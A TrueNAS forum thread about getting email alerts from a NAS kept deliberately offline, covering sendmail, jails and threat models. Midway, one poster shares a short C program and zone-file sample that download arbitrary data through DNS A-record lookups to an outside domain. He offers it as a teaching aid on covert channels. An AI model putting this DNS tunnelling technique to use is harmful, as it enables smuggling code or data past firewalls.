no active internet connection - how to be notified in case of errors?

[jgreco]

The question was asking if it had sendmail... it does.

But you're right... if the idea is to keep the output somewhere (which I would suggest must be somewhere not on the potentially failing box), then a mail server is needed as a target for sendmail.

Yes, but reading for context rather than literality, it is asking if there is a usable mail server that can be used to send mail. There isn't.

 

[flashdrive]

re: "I still have difficulties to understand the scenario."

I simply do not want to be surprised again by a degraded pool.

Hence I want to receive an automated message, preferable by E-Mail simply for the reason that on all the local PCs / Laptops already an EMail client is present.

I could also opt for a Klaxon being connected to the TN host...

What happened is this:

Today I have logged into the TN Core Webgui which I do not regularly do and saw that the pool was degraded.

"Don't panic" was the next step.

Then it cost me the better part of a couple of hours on a Sunday to repair the reason which was simple enough:

https://www.truenas.com/community/threads/howto-for-myself-pool-degraded-what-to-do.96743/

So to be better prepared for the next time I am now reading into this "alert topic"

 

[jgreco]

Well, then, configure the TrueNAS to send an e-mail to these users via the e-mail server that is apparently reachable from your network. Be sure to test it using the "Send test e-mail" option.

 

[flashdrive]

Well, then, configure the TrueNAS to send an e-mail to these users via the e-mail server that is apparently reachable from your network. Be sure to test it using the "Send test e-mail" option.

Hi,

only that said "e-mail server that is apparently reachable from the localized network" is not existing yet at all.

This is why I wanted to figure out how to set this up on the TN host, since this is running anyway.

Thank you all for your input. I would then need to go with a base jail, set up an IMAP server as suggested and configure TN Core to use this.

The setup could also be to keep TN Core itself offline, whilst the jail does have internet access to use an existing E-Mail service?

 

[Patrick M. Hausen]

only that said "e-mail server that is apparently reachable from the localized network" is not existing yet at all.

How do your mentioned local PCs send and receive email now?

 

[flashdrive]

The local PCs are properly connected to the Internet, using a 3rd party EMail service.

I only set up the TN Core host locally by leaving the DNS server blank. Whenever I need the TN Core host to connect to the internet like now for the jail installation I can enter the DNS server.

For my daily usage it is simply not necessary to always have the TN Core host set up for internet connection.

 

[jgreco]

The local PCs are properly connected to the Internet, using a 3rd party EMail service.

I only set up the TN Core host locally by leaving the DNS server blank. Whenever I need the TN Core host to connect to the internet like now for the jail installation I can enter the DNS server.

For my daily usage it is simply not necessary to always have the TN Core host set up for internet connection.

That's not keeping the TrueNAS host from reaching the Internet. You'd prrrroooooobbbbabbly be better off properly configuring things, and then using firewall rules at your border to prevent the TrueNAS host from connecting to places you don't want it to.

The setup could also be to keep TN Core itself offline, whilst the jail does have internet access to use an existing E-Mail service?

This is really all about the network design choices you make, not anything particularly related to TrueNAS. How do you prevent something from talking to the Internet? You can do things that "might" "prevent" (note all the airquotes) it, but probably don't. Even where you use firewall rules, there's ways to circumvent that, so what you need to do is to identify what your actual goal is and what the reason for that is.

 

[Patrick M. Hausen]

Have your TN CORE send the email to the 3rd party email server, then.

 

[Patrick M. Hausen]

The setup could also be to keep TN Core itself offline, whilst the jail does have internet access to use an existing E-Mail service?

When you setup an email server in that jail why would you need to contact any external email service? My idea was

TrueNAS --> Sendmail in jail --> local mailbox in jail --> Dovecot IMAP --> email client on desktop via IMAP

 

[flashdrive]

Have your TN CORE send the email to the 3rd party email server, then.

This can work when TN Core host's DNS server and IPv4 Default Gateway are being left blank?

Tbh I haven't tried it. If that works fine then indeed the jail approach is not necessary.

 

[flashdrive]

That's not keeping the TrueNAS host from reaching the Internet. You'd prrrroooooobbbbabbly be better off properly configuring things, and then using firewall rules at your border to prevent the TrueNAS host from connecting to places you don't want it to.



This is really all about the network design choices you make, not anything particularly related to TrueNAS. How do you prevent something from talking to the Internet? You can do things that "might" "prevent" (note all the airquotes) it, but probably don't. Even where you use firewall rules, there's ways to circumvent that, so what you need to do is to identify what your actual goal is and what the reason for that is.

So can TN Core out of the box not be set up to not utilize an internet connection at all?

 

[jgreco]

(mostly directed at @Patrick M. Hausen who I suspect will appreciate this more than most)

One of my favorite examples I've used for many years with people who are all-too-certain about the security of their firewalls:

Code:

#include        <stdio.h>
#include        <netdb.h>

#define LU(var) snprintf(buf, sizeof(buf), "%d.dldns.net.sol.net", index++); if (! ((h = gethostbyname(buf)))) exit(1); memcpy(&(var), h->h_addr, sizeof((var)));

int main()
{
        char buf[1024];
        struct hostent *h;
        unsigned int index = 0, n, size, data;

        LU(size);
        size = ntohl(size);

        printf("Downloading %d bytes\n", ntohl(size));
        for (n = 0; n < size; n++) {
                LU(data);
                write(fileno(stdout), (void *)&data, sizeof(data));
        }
}

I certify that this code is not intended to perform any harm if compiled and executed. If executed on a system that "does not have Internet access" but does have access to your local network resources, it may do something that has slightly terrifying implications. I use it as a teaching aid against cocksure security people and others who need ... education.

 

[Patrick M. Hausen]

This can work when TN Core host's DNS server and IPv4 Default Gateway are being left blank?

Tbh I haven't tried it. If that works fine then indeed the jail approach is not necessary.

Of course not, but why would one configure a system like that? Outbound connections for sending email are in general not considered a security risk. Just configure your NAS as it is supposed to be.

 

[jgreco]

So can TN Core out of the box not be set up to not utilize an internet connection at all?

You cripple lots of things by doing so. If you want e-mail, you probably want to have your network configured correctly. This allows your NAS to sync its time, resolve names, check for updates, etc.

Most of the IPv4 Internet is busted-arse, because people apply NAT gateways everywhere and mistake them for "firewalls", which is a function they sorta-coincidentally kinda-do, but only as an accidental side effect. If you really want something to not talk on the Internet, you really need to design a lot more carefully. I just posted a bit of code that spotlights this problem. It would include full local DNS and probably a split-DNS system for your local network, and proper firewalling to control network visibility, and probably some other stuff too.

There's nothing inherently wrong with keeping your NAS from talking to the Internet, which many people do, but there's a point of diminishing returns. If your time is drifting because your clocks aren't synced, that can cause problems. If you have onsite DNS recursers, onsite NTP servers, onsite mail servers, it's actually pretty straightforward to mostly-keep your NAS from chatting on the Internet (previous code example exempted) while still working mostly as intended. But you have to identify what your actual threat models are. And we're a service provider, so the services already exist. That isn't true for most end users.

So consider your threat models. If you are working in a PCI-DSS environment, for example, the potential for data exfiltration and penalties may warrant a full airgapping so that there are no ways for the NAS to generate Internet-bound traffic of any sort. This is possible with a thorough design, but it is going to mean that you lose out on the e-mail. You can introduce a carefully managed e-mail forwarding gateway, but that's a lot of work, and suddenly you're able to generate a certain kind of Internet-bound traffic.

Basically at the end of the day you need to determine what your threat models are --- what are you trying to protect against? "I don't want my NAS to talk on the Internet, ever, for any reason" could be kind of dumb if other hosts on the same network *can* reach the Internet -- there's lots of ways to subvert that.

 

[flashdrive]

I will take a break here and have a good night's sleep over it.

Thank you all for your input.

btw:

Setup of EMail notification including TN Core host network DNS and Gateway do work as expected - the mails are being sent.

But not with missing DNS server entry. This is what I thought.

The main goal is to not have the TN core host have 24/7 internet access. Local network = LAN yes. Jail with services and no dataset access can have internet access.

 

[Patrick M. Hausen]

While I do not agree with your line of thinking - cutting the NAS from Internet access - if you want to keep that setup but are willing to permit a jail to send mail to external services, you don't even need dovecot.

• create jail with default gateway and nameserver
• enable sendmail
• permit TrueNAS to relay outgoing mail

Done.

 

[Patrick M. Hausen]

Code:

#include        <stdio.h>
#include        <netdb.h>

#define LU(var) snprintf(buf, sizeof(buf), "%d.dldns.net.sol.net", index++); if (! ((h = gethostbyname(buf)))) exit(1); memcpy(&(var), h->h_addr, sizeof((var)));
[...]

Missing headers:

Code:

#include	<stdlib.h>
#include	<string.h>
#include	<unistd.h>

Apart from that - compiles without as much as a warning in a modern environment (Mac OS) - nice. Static zone file or logic in the authoritative servers?

 

[jgreco]

Missing headers:

Code:

#include    <stdlib.h>
#include    <string.h>
#include    <unistd.h>

Apart from that - compiles without as much as a warning in a modern environment (Mac OS) - nice. Static zone file or logic in the authoritative servers?

Unnecessary headers are for wusses.

It was something I wrote in like 10 minutes while having an insipid argument about the "value of firewalls" with someone on NANOG, IIRC. I needed to hammer home that you didn't need direct IP connectivity to be able to communicate, or even to transfer significant amounts of stuff.

The encoder to put data into the zone was equally pithy code, and hanging it on the output of "banner -w80" resulted in data like:

Code:

0.dldns IN      A       0.0.124.119
1.dldns IN      A       32.32.32.32
2.dldns IN      A       32.32.32.32
3.dldns IN      A       32.32.32.32
4.dldns IN      A       32.32.32.32
5.dldns IN      A       32.32.32.32
6.dldns IN      A       32.32.32.32
7.dldns IN      A       32.32.32.32
8.dldns IN      A       32.32.32.32
9.dldns IN      A       32.32.32.32
10.dldns        IN      A       32.32.32.35
11.dldns        IN      A       35.35.35.35
12.dldns        IN      A       35.35.35.35
13.dldns        IN      A       35.35.35.35
14.dldns        IN      A       35.35.10.32
...etc...

I was basically trolling someone who didn't understand sidechannels and other forms of nontraditional data exfiltration (or infiltration in this case). As you know, DNS is effectively just a database, and even if you think you are carefully controlling the types of RR responses, are you going to block IN A's? I can get four bytes per database query. And with the IPv4 Internet being the tragically full thing it is, there aren't even significant bogon spaces that could be used as alarm triggers to detect this. Only query rate would easily give it away.

For everyone else who didn't care to compile this, it just prints out an ASCII printer banner that says something like "Downloaded!" on the TTY when run against DNS servers that can resolve queries on the public Internet. The implication is that it COULD be used as a technique to download nefarious code to your firewall-protected hosts by (essentially) proxying through a DNS recurser, which are often kept available to firewall-restricted hosts for many reasons.

The interconnected nature of all of our networks makes it very difficult to correctly control these sorts of sidechannels. Even being able to signal a single bit could be significant in some cases, consider Paul Revere!

This is all very relevant to finding ways to signal certain things out to the network when there is "no active Internet connection", the topic of this thread. In the case of this thread, however, there is absolutely an active Internet connection, it's just been deliberately misconfigured to make it harder for the NAS host to reach the Internet. In order to solve the OP's problem, we really need to understand the context, the goal, and the realistic threat models that are being protected against.

If you want to say I take this stuff too seriously, or am crazy, or am a cranky old fart, I will happily plead guilty on all counts.

 

[ChrisRJ]

The main goal is to not have the TN core host have 24/7 internet access.

Unless I missed something, the thinking behind this was not part of the discussion so far. I would be interested to understand that part.

 

[flashdrive]

Hello all,

this now has become a very thorough conversation.

In terms of "threat":

As stated above the internet access for my homelab's NAS is simply not "necessary 24/7" for my regular use cases.

Checking for the time server is a valid concern.

Most important to me was the Alert notification via EMail.

Checking and updating TN Core can be done without internet access for the TN Core host.

The thinking being that something that is "not connected all the time" has a lesser likelyhood of being abused. The network is not physically airgapped to the WAN connection.

Said "DNS misconfiguration on purpose" was the "easiest" thinkable way for me to quickly turn the internet access on / off.

All in all it is very true what has been said during this discussion: all the other clients with regular internet access and access to the NAS's data are another "attack vector".

This is known and understood.